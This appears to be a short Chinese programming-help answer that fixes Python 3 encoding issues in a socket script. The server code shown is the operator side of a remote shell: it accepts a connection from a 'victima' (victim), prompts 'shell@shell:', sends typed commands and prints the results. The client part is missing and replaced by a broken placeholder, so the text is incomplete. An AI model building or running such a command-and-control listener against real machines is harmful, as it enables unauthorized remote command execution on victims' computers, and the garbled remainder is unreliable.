擅长:python、mysql、java
<p>为了解决这个问题,我必须对数据进行编码和解码,并将raw_input()更改为input(),如果您使用的是python3</p>
<p>服务器</p>
<pre><code>#!/usr/bin/env python
#_*_ coding: utf8 _*_
import socket
def main():
server = socket.socket()
server.bind(('192.168.1.44',8000))
server.listen(1)
while True:
victima,direccion = server.accept()
print("Conexion de: {}".format(direccion))
ver = victima.recv(1024).decode('utf-8')
if ver == "1":
while True:
opcion = input("shell@shell: ")
victima.send(opcion.encode('utf-8'))
resultado = victima.recv(2048).decode('utf-8')
print(resultado)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
exit()
</code></pre>
<p>客户</p>
^{pr2}$